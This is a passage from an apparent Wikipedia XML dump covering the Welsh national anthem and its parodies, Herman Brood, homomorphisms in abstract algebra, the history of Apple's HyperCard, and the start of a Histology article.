:While seas secure the land so pure,
:O may the old language endure.

Old land of the mountains, the Eden of bards,&lt;br&gt;
Each gorge and each valley a loveliness guards;&lt;br&gt;
Through love of my country, charmed voices will be &lt;br&gt;
Its streams, and its rivers, to me.

Though foemen have trampled my land 'neath their feet, &lt;br&gt;
The language of Cambria still knows no retreat;&lt;br&gt;
The muse is not vanquished by traitor's fell hand,&lt;br&gt;
Nor silenced the harp of my land.

== Parodies ==

[[Swansea]] poet [[Nigel Jenkins]] wrote an English phonetic version of the first verse for the benefit of non-Welsh speakers[http://www.paulflynnmp.co.uk/commonsdetail.jsp?id=873], said to be inconspicuous in chorus as long as one doesn't smile:

:My hen laid a haddock, one hand oiled a flea,&lt;br&gt;
:Glad farts and centurions threw dogs in the sea,&lt;br&gt;
:I could stew a hare here and brandish Dan’s flan,&lt;br&gt;
:Don’s ruddy bog’s blocked up with sand.

:Dad! Dad! Why don’t you oil Auntie Glad?&lt;br&gt;
:Can whores appear in beer bottle pies,&lt;br&gt;
:O butter the hens as they fly!

Popular among fans of [[Bristol City F.C.|Bristol City Football Club]] is this parody[http://www.footballchants.org/viewChants.php?divs=D2&amp;teams=53&amp;let=B#12796]:

:Wales, Wales, bloody great fishes are Wales,&lt;br&gt;
:They swim in the sea,&lt;br&gt;
:We eat them for tea,&lt;br&gt;
:Oh bloody great fishes are Wales.

== External links ==
*[http://www.davnor.force9.co.uk/anthem/national_anthem.ram Real Audio sound file]
*[http://www.newi.ac.uk/buckleyc/landof.mid Midi sound file]
*[http://www.llgc.org.uk/drych/drych_s044.htm Hen wlad fy nhadau, the national anthem] (National Library of Wales website)
*[http://home.eunet.no/~aharries/landof.htm Land of my Fathers, midi file and lyrics]
*[http://www.llgc.org.uk/drych/HWFNh.mp3 Madge Breese's 1899 recording (MP3)] ''(National Library of Wales Digital Mirror)''

[[Category:National anthems]]
[[Category:Patriotic songs]]
[[Category:Welsh culture]]
[[Category:Welsh music]]

[[br:Hen Wlad fy Nhadau]]
[[cy:Hen Wlad fy Nhadau]]
[[de:Hen Wlad Fy Nhadau]]
[[eo:Hen Wlad Fy Nhadau]]
[[fr:Hen Wlad Fy Nhadau]]
[[nl:Hen Wlad Fy Nhadau]]
[[nn:Hen Wlad fy Nhadau]]
[[pt:Hino do País de Gales]]
[[sl:Hen Wlad Fy Nhadau]]</text>
    </revision>
  </page>
  <page>
    <title>Habermas</title>
    <id>13562</id>
    <revision>
      <id>15911161</id>
      <timestamp>2003-07-25T14:06:39Z</timestamp>
      <contributor>
        <ip>80.141.45.125</ip>
      </contributor>
      <comment>redirect to main entry on Jürgen Habermas</comment>
      <text xml:space="preserve">#REDIRECT [[Jürgen Habermas]]</text>
    </revision>
  </page>
  <page>
    <title>Herman Brood</title>
    <id>13563</id>
    <revision>
      <id>36112087</id>
      <timestamp>2006-01-21T18:38:34Z</timestamp>
      <contributor>
        <username>Empoor</username>
        <id>154938</id>
      </contributor>
      <minor />
      <comment>/* Biography */</comment>
      <text xml:space="preserve">==Biography==
[[Image:Herman brood.jpg|thumb|200px|right]]
'''Herman Brood''' (pronounced &quot;Broat&quot; /bro:t/; [[Zwolle]], [[November 5]], [[1946]] &amp;ndash; [[Amsterdam]], [[July 11]], [[2001]]) was a [[Netherlands|Dutch]] [[musician]], [[painter]] and [[media]] personality. Brood was the Dutch [[personification]] of ''[[sex, drugs and rock 'n roll]]''.

After playing [[piano]] in [[Cuby and the Blizzards]] and several other bands since [[1964]], Brood started his own group, Herman Brood and His Wild Romance, in [[1977]]. The band had their first hit single, ''Saturday Night'', in [[1978]]. But even more than his music, it was his outspoken statements in the press about sex and [[drug use]] that made Herman Brood famous in the Netherlands. For a while in the early [[Eighties]] he was romantically involved with similarly outrageous [[Germany|German]] [[artist]], [[Nina Hagen]], with whom he appeared together in the movie ''Cha Cha.'' Brood relished the [[media]] attention and became the most famous [[hard drug]] user of the Netherlands. In the [[Nineties|1990s]] he took up painting and became as successful as a painter as he was as a musician.

With the band 'Herman Brood and his Wild Romance' he made his best known album 'Schpritz' (a play on the German word for injection needle), containing anti-drug use songs like 'Dope Sucks', but also 'Saturday Night'. Brood swore off most drugs, reducing his drug use to [[alcoholic beverage|alcohol]] and a daily shot of [[amphetamine|speed]]. When in [[2001]], he found out that he had only a few months left to live, Herman took matters into his own hands and, depressed by the failure of his drug rehabilitation programme, committed [[suicide]] on [[July 11]] by jumping off the [[Amsterdam]] [[Hilton Hotel|Hilton]] at the age of 54.

[http://www.boertienfoto.nl/BROOD.jpg]

== Herman Brood, the artist ==

Although Herman Brood was famous mostly among music fans outside of Holland, in his own country of origin he is primarily known and loved for his contributions to [[public art]], particularly for creating [[murals]] in different public places in Amsterdam. Most art critics still have a hard time trying to describe the unique Herman Brood style, but many of his murals have definitely made a great contribution to the ever young beauty of the Dutch capital.

Herman Brood had a great impact on the following generation of Dutch street and public artists.
See also:

[http://images.google.nl/images?q=Herman+Brood+art&amp;hl=nl&amp;lr=&amp;ie=UTF-8&amp;sa=N&amp;tab=wi Herman Brood as an artist]

==Discography==
* ''Street'' (1977)
* ''Shpritsz'' (1978)
* ''Cha Cha'' (1978)
* ''Go Nutz'' (1980)
* ''Wait a Minute...'' (1980)
* ''Modern Times Revive'' (1981)
* ''Frisz &amp; Sympatisz'' (1982)
* ''The Brood'' (1984)
* ''Bühnensucht/Live'' (1985)
* ''Yada Yada'' (1988)
* ''Hooks'' (1989)
* ''Freeze'' (1990)
* ''Saturday Night Live!'' (1992)
* ''Fresh Poison'' (1994)
* ''50 The Soundtrack'' (1996)
* ''Ciao Monkey'' (2000)

''50 The Soundtrack'' is a tribute album for Herman's 50th birthday, on which he sings duets with various guests.

==Trivia==
*Herman Brood never made it big in the US, but a poster of 'Herman Brood and his Wild Romance' can be seen in the Cronenberg film [[Scanners]] (about 53 minutes into the film).

==External links==
*[http://www.hermanbrood.nl Planet Brood (Brood's homepage)]
*[http://www.zing.demon.nl Zing (Herman Brood page van Jaap Stiemer)]

[[Category:1946 births|Brood, Herman]]
[[Category:2001 deaths|Brood, Herman]]
[[Category:Dutch musicians|Brood, Herman]]
[[Category:Entertainers who committed suicide in their 50s|Brood, Herman]]

[[de:Herman Brood]]
[[nl:Herman Brood]]</text>
    </revision>
  </page>
  <page>
    <title>Homomorphism</title>
    <id>13564</id>
    <revision>
      <id>39871645</id>
      <timestamp>2006-02-16T13:03:40Z</timestamp>
      <contributor>
        <ip>152.81.9.244</ip>
      </contributor>
      <text xml:space="preserve">:''This word should not be confused with [[homeomorphism]].''

In [[abstract algebra]], a '''homomorphism''' is a structure-preserving [[map (mathematics)|map]] between two [[algebraic structure]]s (such as [[group (mathematics)|group]]s, [[ring (mathematics)|ring]]s, or [[vector space]]s). The word ''homomorphism'' comes from the [[Greek language]]: ''homo'' meaning &quot;same&quot; and ''morphos'' meaning &quot;shape&quot;.

==Informal discussion==

Because abstract algebra studies [[set]]s with [[operator|operation]]s that generate interesting structure or properties on the set, the most interesting [[function (mathematics)|function]]s are those which preserve the operations. These functions are known as ''homomorphisms''.

For example, consider the [[natural number]]s with addition as the operation.  A function which preserves addition should have this property:  ''f''(''a'' + ''b'') = ''f''(''a'') + ''f''(''b'').  Note that ''f''(''x'') = 3''x'' is a homomorphism, since ''f''(''a'' + ''b'') = 3(''a'' + ''b'') = 3''a'' + 3''b'' = ''f''(''a'') + ''f''(''b'').  Note that this homomorphism maps the natural numbers back onto themselves.

Homomorphisms do not have to map between sets which have the same operations.  For example, operation-preserving operations exist between the set of real numbers with addition and the set of positive real numbers with multiplication.  A function which preserves operation should have this property:  ''f''(''a'' + ''b'') = ''f''(''a'') * ''f''(''b''), since addition is the operation in the first set and multiplication is the operation in the second.  Given the laws of [[exponent]]s, ''f''(''x'') = e&lt;sup&gt;''x''&lt;/sup&gt; satisfies this condition.

A particularly important property of homomorphisms is that if an [[identity element]] is present, it is always preserved, that is, mapped to the identity.  Note in the first example ''f''(0) = 0, and 0 is the additive identity.  In the second example, ''f''(0) = 1, since 0 is the additive identity, and 1 is the multiplicative identity.

If we are considering multiple operations on a set, then all operations must be preserved for a function to be a considered a homomorphism.  Even though the set may be the same, the same function might be a homomorphism, say, in [[group theory]] (sets with a single operation) but not in [[ring theory]] (sets with two related operations), because it fails to preserve the additional operation that ring theory considers.

==Formal definition==

A '''homomorphism''' is a [[map (mathematics)|map]] from one [[algebraic structure]] to another of the same type that preserves all the relevant structure; i.e. properties like [[identity element]]s, [[inverse element]]s, and [[binary operation]]s.

:&lt;small&gt;N.B. Some authors use the word ''homomorphism'' in a larger context than that of algebra. Some take it to mean any kind of structure preserving map (such as [[continuous map]]s in [[topology]]), or even a more abstract kind of map&amp;mdash;what we term a ''[[morphism]]''&amp;mdash;used in [[category theory]]. This article only treats the algebraic context. For more general usage see the [[morphism]] article.&lt;/small&gt;

For example; if one considers [[set]]s with a single [[binary operation]] defined on them (an algebraic structure known as a [[magma (algebra)|magma]]), a homomorphism is a map &lt;math&gt;\phi: X \rightarrow Y&lt;/math&gt;  such that
:&lt;math&gt;\phi(u \cdot v) = \phi(u) \circ \phi(v)&lt;/math&gt;
where &lt;math&gt;\cdot&lt;/math&gt; is the operation on &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;\circ&lt;/math&gt; is the operation on &lt;math&gt;Y&lt;/math&gt;.

Each type of algebraic structure has its own type of homomorphism. For specific definitions see:
*[[group homomorphism]]
*[[ring homomorphism]]
*[[module homomorphism]]
*[[linear operator]] (a homomorphism on [[vector space]]s)
*[[algebra homomorphism]]

The notion of a homomorphism can be given a formal definition in the context of [[universal algebra]], a field which studies ideas common to all [[algebraic structure]]s. In this setting, a homomorphism &lt;math&gt;\phi: A \rightarrow B&lt;/math&gt; is a map between two algebraic structures of the same type such that
:&lt;math&gt;\phi(f_A(x_1, \ldots, x_n)) = f_B(\phi(x_1), \ldots, \phi(x_n))\,&lt;/math&gt;
for each ''n''-ary operation &lt;math&gt;f&lt;/math&gt; and for all &lt;math&gt;x_i&lt;/math&gt; in &lt;math&gt;A&lt;/math&gt;.

==Types of homomorphisms==

* An '''[[isomorphism]]''' is a [[bijective]] homomorphism. Two objects are said to be isomorphic if there is an isomorphism between them. Isomorphic objects are completely indistinguishable as far as the structure in question is concerned.

* An '''[[epimorphism]]''' is a [[surjective]] homomorphism.

* A '''[[monomorphism]]''' is an [[injective]] homomorphism.

* A homomorphism from an object to itself is called an '''[[endomorphism]]'''.

* An endomorphism which is also an isomorphism is called an '''[[automorphism]]'''.

The above terms are used in an analogous fashion in [[category theory]], however, the definitions in [[category theory]] are more subtle; see the article on [[morphism]] for more details.

Note that in the larger context of structure preserving maps, it is generally insufficient to define an isomorphism as a bijective morphism. One must also require that the inverse is a morphism of the same type. In the algebraic setting (at least within the context of [[universal algebra]]) this extra condition is automatically satisfied.

== Kernel of a homomorphism ==
{{mainarticle|[[kernel (algebra)]]}}

Any homomorphism ''f'' : ''X'' &amp;rarr; ''Y'' defines an [[equivalence relation]] ~ on ''X'' by ''a''&amp;nbsp;~ ''b'' [[iff]] ''f''(''a'')&amp;nbsp;= ''f''(''b''). The relation ~ is called the '''kernel''' of ''f''. It is a [[congruence relation]] on ''X''. The [[quotient set]] ''X''/~ can then be given an object-structure in a natural way, e.g., [''x''] * [''y''] =  [''x'' * ''y'']. In that case the image of ''X'' in ''Y'' under the homomorphism ''f'' is necessarily [[isomorphic]] to ''X''/~; this fact is one of the [[isomorphism theorem]]s. Note in some cases (e.g. [[group (mathematics)|group]]s or [[ring (algebra)|ring]]s), a single [[equivalence class]] ''K'' suffices to specify the structure of the quotient, so we write it ''X''/''K''. (''X''/''K'' is usually read as ''X'' [[modulo|mod]] ''K''.) Also in these cases, it is ''K'', rather than ~, that is called the [[kernel (algebra)|kernel]] of ''f'' (cf. [[normal subgroup]], [[ideal (ring theory)|ideal]]).

==See also==

* [[morphism]]
* [[continuous function]]
* [[homeomorphism]]
* [[diffeomorphism]]

[[Category:Abstract algebra]]

[[da:Homomorfi]]
[[de:Homomorphismus]]
[[et:Homomorfism]]
[[es:Homomorfismo]]
[[it:Omomorfismo]]
[[he:הומומורפיזם (אלגברה)]]
[[nl:Homomorfisme]]
[[pl:Homomorfizm]]
[[ru:Гомоморфизм]]
[[sl:Homomorfizem]]
[[fi:Homomorfismi]]
[[uk:Гомоморфізм]]</text>
    </revision>
  </page>
  <page>
    <title>History of computers</title>
    <id>13565</id>
    <revision>
      <id>15911164</id>
      <timestamp>2003-12-22T02:46:36Z</timestamp>
      <contributor>
        <username>Cyan</username>
        <id>9503</id>
      </contributor>
      <minor />
      <comment>I'm putting the redirect back until the deletion goes through...</comment>
      <text xml:space="preserve">#REDIRECT [[History of computing hardware]]</text>
    </revision>
  </page>
  <page>
    <title>HYPERCARD</title>
    <id>13566</id>
    <revision>
      <id>15911165</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[HyperCard]]
</text>
    </revision>
  </page>
  <page>
    <title>HyperCard</title>
    <id>13567</id>
    <revision>
      <id>41308871</id>
      <timestamp>2006-02-26T12:55:38Z</timestamp>
      <contributor>
        <username>Grstain</username>
        <id>74943</id>
      </contributor>
      <comment>rev addition by 206.124.131.110</comment>
      <text xml:space="preserve">[[Image:HyperCard 2-icon.png|left]]
[[image:hypercard.png|thumb|HyperCard]]

'''HyperCard''' is an [[application program]] and a simple programming environment produced by [[Apple Computer]] which runs natively only in [[Mac OS]] versions 9 or earlier (it can still be used in [[Mac OS X]]'s [[Classic (Mac OS X)|Classic]] mode). It most closely resembles a [[database application]] in concept, in that it stores information, but unlike traditional database systems HyperCard is graphical, flexible and easy to modify. It also includes a powerful and easy to use [[programming language]], [[HyperTalk]], to manipulate data and the user interface. HyperCard users often used it as a programming system for [[Rapid Application Development]] as opposed to a database.

HyperCard was originally released with [[System 6]] in [[1987]], and was finally withdrawn from sale in [[March 2004]], although it had not been updated for many years at that time.

==History==
HyperCard was created by [[Bill Atkinson]] and initially released in August [[1987]], with the understanding that Atkinson would give HyperCard to Apple only if they promised to release it for free on all Macs. Apple timed its release to coincide with the [[MacWorld Conference &amp; Expo]] in [[Boston, Massachusetts]] to guarantee maximum publicity. HyperCard was a huge hit almost instantly. Many people who thought they would never be able to program a computer started using HyperCard for all sorts of automation and prototyping tasks, a surprise even to its creator.

Apple itself never seemed to understand what HyperCard was. Management saw that it was being used by a huge number of people, internally and externally, and bug reports and upgrade suggestions continued to flow in demonstrating it had a wide variety of users. However it was also free, which made it difficult to justify dedicating engineering resources to improving it. Unwilling, or unable, to see that HyperCard was making the Macintosh platform, as a whole, much more interesting to the market, management let it languish.

=== HyperCard 2.0 ===
In late [[1989]], [[Kevin Calhoun]], then a HyperCard engineer at Apple, lead an effort to upgrade the program. This resulted in [[1990]]'s '''HyperCard 2.0'''. The new version included an on-the-fly [[compiler]] that greatly increased performance of computationally intensive code, a new [[debugger]] and a number of improvements to the underlying HyperTalk language.

At the same time HyperCard 2.0 was being developed, a separate group within Apple developed and in [[1991]] released &quot;HyperCard IIGS&quot;, a version of HyperCard for the [[Apple IIGS]] system.  Aimed mainly at the education market, HyperCard IIGS had roughly the same feature set as the 1.x versions of Macintosh HyperCard, while adding support for the color graphics capabilities of the IIGS.  Although &quot;stacks&quot; (HyperCard program documents) were not binary-compatible, a translator program (itself a HyperCard stack) allowed stacks to be moved from one platform to the other.

Then, Apple decided that all software, including HyperCard and the [[Mac OS]], would be the property of a wholly-owned subsidiary called [[Claris]]. Many of the HyperCard developers chose to stay at Apple rather than move to Claris, causing the development team to be split. Claris, in the business of selling software for a profit, attempted to create a business model where HyperCard could also generate revenues. They wrote a new &quot;viewer only&quot; version, the '''HyperCard Player''' which Apple distributed with the Macintosh operating system, while Claris sold the &quot;full&quot; version commercially. Many users were upset that they had to pay to use software that had traditionally been supplied free and which many considered a basic part of the Mac.

Despite the new revenue stream, Claris did little to market HyperCard. Development continued with minor upgrades, as well as the first failed attempt to create a third generation of HyperCard. During this period, HyperCard began losing market share. Without a number of important, basic features, HyperCard authors began moving to systems such as [[SuperCard]] and Macromedia's [[Authorware]]. Nevertheless HyperCard continued to be popular and used for a widening range of applications, from the game ''[[The Manhole]]'', an earlier effort by the creators of ''[[Myst]]'', to corporate information services and many thousands in between.

Apple eventually folded Claris back into the parent company, returning the Mac OS and HyperCard to Apple's core engineering group. In 1992, Apple released the eagerly anticipated upgrade of HyperCard 2.2 and made many HyperCard enthusiasts happy by including licensed versions of Color Tools and Addmotion II, adding support for color pictures and animations. However, these tools were limited and often cumbersome to use; HyperCard still continued to lack true, internal color support.

=== HyperCard 3.0 ===
Several attempts were made to restart HyperCard development once it returned to Apple. Because of the product's widespread use as a multimedia authoring tool it was rolled into the [[QuickTime]] group. A new effort to allow HyperCard to create '''QuickTime interactive''' (QTi) movies started, once again under the direction of Kevin Calhoun. QTi extended QuickTime's core multimedia playback features to provide true interactive facilities and a low-level programming language based on 68000 assembly language. 
The resulting '''HyperCard 3.0''' was first presented in [[1996]] when an alpha-quality version was shown to developers at Apple's annual [[Worldwide Developers Conference]]. Demos throughout the late [[1990s]] showed many popular features such as color support, internet connectivity, and the ability to play HyperCard stacks (which were now special QuickTime movies) in a [[web browser]]. Development of HyperCard 3.0 stalled when the QuickTime team was focused away from development of QuickTime interactive to the streaming features of QuickTime 4.0. Finally in [[2000]] the HyperCard engineering team was reassigned to other tasks after [[Steve Jobs]] decided to abandon the product. Kevin Calhoun left Apple shortly after in [[2001]].

So after years of continued on-again, off-again upgrades and general mismanagement, HyperCard was finally discontinued. What started as a groundbreaking product that seemed to be changing the world died [[the death of a thousand cuts]] and slowly disappeared as users grew fed up with what was now a hopelessly outdated product. Apple finally ceased selling HyperCard in [[March 2004]].

==Description==
HyperCard is based on the concept of a &quot;stack&quot; of virtual &quot;cards&quot;. Cards hold data, just as they would in a [[rolodex]]. The layout engine was similar in concept to a &quot;form&quot; as used in most [[Rapid Application Development]] (RAD) environments (such as the [[Delphi programming language]] or [[Visual BASIC]]).

HyperCard was not only a database system &amp;mdash; the layout of each card could be unique, just as you can write additional non-standard information on a rolodex card. The Background of a stack contained elements that appeared on all cards of that stack. Backgrounds could include pictures (its original purpose, &quot;background picture&quot;), in addition to the objects also available for each card: picture fields, buttons, (static) text, (editable) text fields and other common [[GUI]] elements. Each card then could contain different data attached to the text or picture fields, thereby creating the database functionality.

For instance, an address book could be easily built by adding to the background a few text fields to hold the name and address. Once completed, the user simply adds a new card (by typing command-n) and types into the fields. The background could be modified at any time, allowing changes to be made easily. Basic operations such as search, add and delete were built into the HyperCard environment, allowing simple databases to be set up and used by anyone able to use the [[Apple Macintosh]] computer.

Scripting in the HyperTalk language allowed the system to be easily modified and extended. Unlike many scripting languages, HyperTalk proved to be usable by a wide range of users; allowable syntax included multiple versions of the same statement, all in more or less readable [[English language|English]].

For instance, &lt;code&gt;put the first word of the third line of field &quot;hello&quot; into field &quot;goodbye&quot;&lt;/code&gt; would do exactly what it seems to do. Achieving this sort of simplicity and readability required considerable work. For instance, it required allowing numbers to be specified either numerically (1, 2), as [[cardinal number|cardinal]]s (one, two), or as [[ordinal number|ordinal]]s (first, second), which improves the readability of the code.

Referring to objects and the items on cards or backgrounds was easy. The example above shows how to access data within a field on a particular card, but one could refer to any object in the same basic fashion &amp;mdash; including the stack itself. All objects could be named, as in the example above. In addition, each object (including the stack itself) had unique numeric IDs.

HyperCard's &lt;code&gt;find&lt;/code&gt; command which would navigate to cards containing text. This could be made more selective with modifications such as &lt;code&gt;find &quot;Bob&quot; in card field &quot;hello&quot;&lt;/code&gt;. Similarly, it had a &quot;sort&quot; command that allowed evaluating entire expressions to classify sort order.

Adding scripts was also easy. The user simply &quot;command-option-clicked&quot; (or they could click the &quot;Script&quot; button in the item's property dialog) on any element in the stack, and an editor would pop up. The script could then be edited, saved, and used immediately. In addition, HyperCard contained the &quot;Message Box&quot;, an interactive command-line in a floating window that could execute single lines of script. This also included the &quot;find&quot; command, so it doubled as a search dialog. HyperCard 2.0 added a [[debugger]] as well.

HyperTalk was so easy to use that one of the main uses of HyperCard was not as a database, but as a programming tool. Thousands of &quot;stacks&quot; were written and distributed under the moniker of StackWare in the few years when HyperCard was widely available.

=== Externals ===
The power of HyperCard could be increased significantly through the use of '''external command''' and '''external function''' modules, more commonly known as '''XCMD'''s and '''XFCN'''s. These were small code fragments packaged in a [[resource fork]] that seamlessly integrated into the system and/or the [[HyperTalk]] language &amp;mdash; an early example of the [[plugin]] concept. Unlike conventional plugins, these did not require separate installation before they were available for use; they could be included in a stack, where they were directly available to scripts in that stack.

During HyperCard's peak popularity in the late [[1980s]], a whole ecology of vendors offered thousands of these externals for everything from [[HyperTalk]] compilers to graphing systems, database access, internet connectivity, animation, and practically everything else. Many of these vendors had their businesses destroyed when HyperCard was handed to Claris.

==Applications==
HyperCard has been used for all sorts of hypertext and artistic purposes. Before the advent of [[Microsoft PowerPoint|PowerPoint]], HyperCard was often used as a general-purpose presentation program. Examples of HyperCard applications include simple databases, &quot;[[Choose Your Own Adventure| choose your own adventure]]&quot;&amp;mdash;type games, educational teaching aids, and the first (off-line) [[wiki]]. The wiki idea originates from Macintosh HyperCard, via [[Ward Cunningham]].

Due to its rapid application design facilities, HyperCard was also often used for prototyping of applications, and sometimes even for version 1.0 implementations. Inside Apple, the QuickTime team was one of HyperCard's biggest customers.

[[Image:Hyper_beethoven.gif|thumb|206px|right|Beethoven's Ninth stack]]
A number of commercial software products were created in HyperCard, most notably the original version of the interactive game narrative ''[[Myst]]'', the Voyager Company's [[Expanded Books]], and multimedia CD-ROMs of [[Beethoven's Ninth Symphony CD-ROM]], [[the Beatles]]' ''[[A Hard Day's Night (film)|A Hard Day's Night]]'', and the Voyager ''[[MacBeth]]''.

The prototype and demo of the popular game ''[[You Don't Know Jack]]'' was written in HyperCard.

[[Activision]], until that time primarily a game company, saw HyperCard as an entry point into the business market. Changing their name to Mediagenic, they published several major HyperCard based applications, most notably [[Danny Goodman]]'s Focal Point, a personal information manager, and Reports For HyperCard, a program by Nine To Five Software that allowed users to treat HyperCard as a full-fledged database system with robust information viewing and printing features.

The HyperCard-inspired SuperCard for a while included the &quot;Roadster&quot; plugin that allowed stacks to be placed inside [[World Wide Web|Web]] pages and viewed by browsers with an appropriate browser plugin. There even was a Windows version of this plugin allowing computers other than Macintoshes to use the plugin.

==Legacy==
HyperCard is one of the first products that made use of and popularized the [[hypertext]] concept to a large popular base of users. 

[[Jakob Nielsen (usability consultant)|Jakob Nielsen]] has pointed out that HyperCard was really only a [[hypermedia]] program since its links started from regions on a card, not text objects; actual [[HTML]]-style text [[hyperlink]]s were possible in later versions, but were awkward to implement and seldom used. 

HyperCard saw a loss in popularity with the growth of the [[World Wide Web]], since the Web could handle and deliver data in much the same way as HyperCard without being limited to files on your hard disk. Interestingly, HyperCard had a significant impact on the web as it inspired the creation of both [[HTTP]] itself and [[JavaScript]] (through its influence on [[Tim Berners-Lee]]'s colleague [[Robert Cailliau]]). 

[[Image:HyperCard cursor.png|left|32px|Navigation cursor]]The pointing-finger [[Cursor (computers)|cursor]] used for navigating stacks later found its way into the first web browsers, as the hyperlink cursor.

Other companies were quick to see the power of HyperCard and offer their own versions. 
*'''[[SuperCard]]''' is a color version of HyperCard on the Mac with additional features, a full GUI toolkit, and now [[Mac OS X]] compatibility. 
*'''[[WinPlus|Plus]]''' was a product similar to HyperCard for Windows and Macintosh. 
*Asymetrix's Windows application '''[[ToolBook]]''' resembled HyperCard, and included an external converter to read HyperCard stacks. 
*[[Oracle Corporation|Oracle]] purchased a cross-platform clone and released it as '''[[OracleMediaObjects|OracleCard]]''', renamed '''[[Oracle Media Objects]]''', used as a [[4GL]] for database access. 
*Most recently Runtime's '''[[Revolution (development environment)|Revolution]]''' incorporates all of HyperTalk (the HyperCard scripting language), and a large part of the feature set. It expands significantly on HyperCard's feature set and offers a full GUI toolkit. It runs on Macintosh, Windows, and Unix.

In addition, many of the basic concepts of the original system were later re-used in other forms. Apple built their system-wide scripting engine [[AppleScript]] on a language very similar to HyperTalk; it was recently discovered as a perfect fit for [[Desktop publishing|DTP]] [[workflow automation]] needs. AppleScript gained a graphical programming front-end called Automator in the most recent major release of [[Mac OS X]], codenamed Tiger, released in April of [[2005]]. Some see HyperCard as an ancestor to [[Visual Basic]] by [[Microsoft]]. One of HyperCard's strengths was its handling of [[multimedia]], and many multimedia systems like Macromedia [[Authorware]] are based on concepts originating in HyperCard.

[[AppWare]], originally known as '''Sirius Developer''', is sometimes seen to be similar to HyperCard, as they were both [[rapid application development]] system. AppWare was sold in the early 90s and was remarkable in that its application worked on both Windows and Mac systems.

On a less positive note, as HyperCard executed scripts in stacks immediately on opening it was also one of the first applications susceptible to [[macro virus|macro viruses]]. The Merryxmas virus was discovered in 1993 by Ken Dunham, two years before the &quot;Concept&quot; virus.

==Trivia==
Originally called '''WildCard''' during its development, the name was changed to HyperCard before official release due to [[trademark]] issues. The HyperCard application and its associated files retain a [[creator code]] of &lt;code&gt;WILD&lt;/code&gt;, reflecting this period of development.

The last sixteen bytes of every HyperCard 2.x stack end with the [[Pascal programming language|pascal]] string &quot;Nu är det slut &amp;hellip;&quot; (''That is the end &amp;hellip;'' in [[Swedish language|Swedish]]) though this is never seen by users.

==Reference==
*[[Danny Goodman]], ''The Complete HyperCard Handbook'' (Bantam Books, 1987), ISBN 0966551427

==See also==
*[[SuperCard]]
*[[mTropolis]]: multimedia authoring using a drag-n-drop programming system
*[[Automator (software)|Automator]]: an easy-to-use script authoring environment
*[[Stagecast Creator]]: one of a number of similar &quot;if you see this, do this&quot; programming systems
*[[Morphic]]: a visual UI building system

==External links==
*[http://www.pantechnicon.org/ HyperCard Pantechnicon]: a living museum of everything HyperCard that allows you to take everything home with you
*[http://members.aol.com/hcheaven/links/links.html A list of HyperCard links]
*[http://scripteur.com/cormoran/as/osa/appl/hypercard/dico/objets/application.html HyperCard and AppleScript]: in [[French language|French]]
*[http://igeek.com/articles/History/VisualBASIC.txt History of Visual Basic]: a partisan article by David K. Every exploring relations between MS software and HyperCard
*[http://www.creysoft.com/xtalk Open Source xTalk Interpreter Archive]: An attempt to organize open source HyperCard/HyperTalk clones
&lt;!-- does anyone have a better reference on this topic? --&gt;

===HyperCard clones===
*[http://www.hyperstudio.com/ HyperStudio]: a HyperCard-like product marketed for and popular with education users
*[http://pythoncard.sourceforge.net/ PythonCard]: a modern, Open Source HyperCard clone based on the Python scripting language
*[http://www.runrev.com/ Revolution]/Dreamcard: a powerful development environment based on [http://www.metacard.com/ MetaCard] (which they acquired); imports HyperCard stacks, supports Windows, Mac, and Linux
*[http://blueapples.org/?pk=software/shortdeck ShortDeck]: a free stack based development project
*[http://www.supercard.us/ SuperCard]: one of the first HyperCard clones, which still provides excellent support for current Mac features and Multimedia; imports HyperCard stacks
*[http://groups.yahoo.com/group/sphere_project/ WildFire] (formerly the Sphere Project): another [[open-source]] HyperCard clone 
*[http://www.toolbook.com/ ToolBook]: a versatile but Windows-only HyperCard clone, today more geared towards CBT (computer-based training).
* [http://www.FreeCard.org FreeCard]: written in Java

====Discontinued====
*[http://www.tigabyte.com/ HyperNext]: an easy to use development system aimed at beginners on both Windows and Macintosh
*[http://www.thoughtful.com/hypersense/index.html HyperSense]: another HyperCard clone, originally for [[NeXT]] but now available on [[Mac OS X]] as well as part of [http://www.redstonesoftware.com Redstone's Eggplant]
*[http://www.angelfire.com/ab2/literacy/win.html WinPlus download]: a discontinued HyperCard clone for [[Microsoft Windows]]; this page offers the &quot;viewer&quot; version only
*[[Oracle Media Objects]]: a cross-platform (Mac/Windows) clone, discontinued in 1998

{{Apple software}}
[[Category:Domain-specific programming languages]]
[[Category:Hypertext]]
[[Category:Mac OS-only software made by Apple Computer]]

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  </page>
  <page>
    <title>Horror</title>
    <id>13568</id>
    <revision>
      <id>41535695</id>
      <timestamp>2006-02-28T00:24:44Z</timestamp>
      <contributor>
        <username>RlyehRising</username>
        <id>472450</id>
      </contributor>
      <comment>fmt per [[Wikipedia:Manual of Style (disambiguation pages)]]</comment>
      <text xml:space="preserve">'''Horror''' may mean:

*[[Horror (emotion)]], the physical and mental sensation
*[[Horror fiction]], the general genre
*[[Horror film]], the genre in film

{{disambig}}

[[fr:Horreur]]</text>
    </revision>
  </page>
  <page>
    <title>Hongkong</title>
    <id>13569</id>
    <revision>
      <id>15911168</id>
      <timestamp>2005-06-25T13:48:51Z</timestamp>
      <contributor>
        <username>Secfan</username>
        <id>62238</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Hong Kong]]</text>
    </revision>
  </page>
  <page>
    <title>Histology</title>
    <id>13570</id>
    <revision>
      <id>41614103</id>
      <timestamp>2006-02-28T14:55:27Z</timestamp>
      <contributor>
        <ip>62.6.139.11</ip>
      </contributor>
      <comment>/* Staining */</comment>
      <text xml:space="preserve">[[Image:Emphysema H and E.jpg|right|300px|thumb|A thin section of [[lung]] tissue stained with [[hematoxylin]] and [[eosin]].  This individual suffers from [[emphysema]].]]
'''Histology''' is the study of [[biological tissue|tissue]] sectioned as a thin slice, using a [[microscope]]. It can be described as microscopic [[anatomy]]. Histology is an essential tool of [[biology]]. 

'''[[Histopathology]]''', the microscopic study of diseased tissue, is an important tool of [[anatomical pathology]] since accurate diagnosis of [[cancer]] and other diseases usually requires histopathological examination of samples.  

The trained technicians who perform the preparation of histological sections are '''Histotechnicians''', Histology Technicians (HT) or Histology Technologists (HTL).  Their field of study is called '''histotechnology'''.

==Source of tissue==
Histological examination of tissues starts with [[surgery]], [[biopsy]] or [[autopsy]].

==Technical procedure==
===Fixation===
